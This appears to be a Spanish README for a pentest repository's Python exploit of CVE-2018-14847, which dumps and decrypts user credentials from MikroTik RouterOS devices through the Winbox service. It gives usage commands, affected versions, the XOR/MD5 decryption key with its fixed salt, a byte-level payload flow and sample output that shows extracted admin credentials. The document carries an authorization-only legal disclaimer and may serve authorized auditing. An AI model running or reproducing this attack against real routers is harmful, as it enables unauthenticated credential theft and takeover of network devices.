
VULNERABLE CVE-2018-14847 - CREDENCIALES EXTRAÍDAS MIKROTIK EN PYTHON
Repositorio de scripts para auditoría y pruebas de penetración en redes. Úselo únicamente en dispositivos con autorización formal.
Explota la vulnerabilidad de lectura de archivo no autenticada en el servicio
Winbox de MikroTik RouterOS. El manejador de archivos (handler ID 2) no valida
la autenticación, lo que permite que un atacante externo lea el archivo user.dat,
que contiene todos los usuarios y contraseñas del dispositivo.
Las contraseñas se almacenan cifradas con XOR usando la clave MD5(usuario + "283i4jfkai3389").
El script realiza el descifrado automáticamente.
| Branch | Vulnerable hasta | Versión corregida |
|---|---|---|
| Stable | 6.42 | 6.42.1 |
| Long-term | 6.40.7 | 6.40.8 |
| RC | 6.42 | 6.43 |
python3 cve_2018_14847.py <IP>
python3 cve_2018_14847.py <IP> --port 8291
# Objetivo estándar en el puerto 8291
python3 cve_2018_14847.py 192.168.1.1
# Puerto personalizado
python3 cve_2018_14847.py 192.168.1.1 --port 8291
1. Conecta al puerto 8291 (Winbox)
↓
2. Envía FIRST_PAYLOAD — abre sesión + solicita /flash/rw/store/user.dat
↓
3. Extrae el Session ID del byte 38 de la respuesta
↓
4. Inyecta el Session ID en el byte 19 del SECOND_PAYLOAD
↓
5. Envía SECOND_PAYLOAD — lee el archivo user.dat
↓
6. Analiza las entradas M2 → extrae usuario y contraseña cifrada
↓
7. Descifra la contraseña: XOR con MD5(usuario + salt)
↓
8. Muestra las credenciales y las guarda en un archivo
═══════════════════════════════════════════════════════
CVE-2018-14847 — MikroTik Winbox Credential Dump
Unauthenticated File Read + Password Decryption
Afectado: RouterOS 6.29 – 6.42 (< 6.40.8 / 6.42.1)
═══════════════════════════════════════════════════════
Objetivo : 192.168.1.1:8291
Fecha : 2026-05-20 18:06:58
[*] Conectando a 192.168.1.1:8291 ...
[+] Conectado al servicio Winbox.
[*] Enviando payload 1 (solicitud de archivo) ...
[+] Respuesta recibida (84 bytes). Session ID: 0x35
[*] Enviando payload 2 (lectura del user.dat) ...
[+] Datos recibidos (312 bytes).
[*] Analizando user.dat (257 bytes útiles) ...
═══════════════════════════════════════════════════════
CREDENCIALES EXTRAÍDAS
═══════════════════════════════════════════════════════
Usuario : admin
Contraseña : senha123
Combo : admin:senha123
───────────────────────────────────────────────────────
[+] 1 credencial(es) encontrada(s).
[+] Resultado guardado en: mikrotik_1192.168.1.1_20260520_180658.txt
El resultado se guarda automáticamente en:
mikrotik_<IP>_<TIMESTAMP>.txt
Ejemplo: mikrotik_192.168.1.1_20260520_180658.txt
Contiene: IP del objetivo, fecha, CVE, versión afectada y todos los pares usuario:contraseña.
/rede/
├── README.md # este archivo
├── cve_2018_14847.py # MikroTik Winbox Credential Extractor
├── pentest_cgnat_100.64.0.0.md # informe de pentest CGNAT
├── pentest_roteador_192.168.2.1.md # informe de pentest router
└── mikrotik_<IP>_<TIMESTAMP>.txt # resultados generados por el script
AVISO LEGAL: Estas herramientas son para uso exclusivo en entornos autorizados. La ejecución no autorizada contra sistemas de terceros es un delito previsto en la Ley 12.737/2012 (Ley Carolina Dieckmann) y en el Art. 154-A del Código Penal Brasileño.